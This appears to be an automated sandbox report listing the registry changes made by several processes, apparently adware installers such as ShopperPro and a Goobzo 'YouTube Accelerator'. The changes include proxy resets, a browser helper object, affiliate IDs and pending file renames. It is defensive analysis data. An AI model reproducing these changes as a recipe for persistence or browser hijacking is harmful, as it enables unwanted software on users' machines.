[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "94 BD D5 75 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "94 BD D5 75 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2940 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EE 87 2B BB 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "0F DE ED DC 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "0F DE ED DC 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process E9F1.tmp:2744 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "1F 04 0B AE 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "2F CC DF B6 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "2F CC DF B6 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process wpm_v20.0.0.1714_0204.exe:1036 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process testlsp.exe:3868 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423886309"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "3C 1A 16 7F 0A 48 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423886309"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "65 9B 51 74 00 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:1368 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3968 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:1412 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2F CC DF B6 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "EE 87 2B BB 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "EE 87 2B BB 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:3284 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process STab_Down_6.0.6.8.exe:3324 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EE 87 2B BB 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "DA 56 3B DC 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "DA 56 3B DC 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WerFault.exe:3148 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 92 00"

The process WerFault.exe:2952 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 92 00"

The process WerFault.exe:4028 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "05 00 00 C0 00 00 00 00 00 00 00 00 42 51 AE 00"

The process ShopperPro.exe:2088 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B1 1A 12 6F 0A 48 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
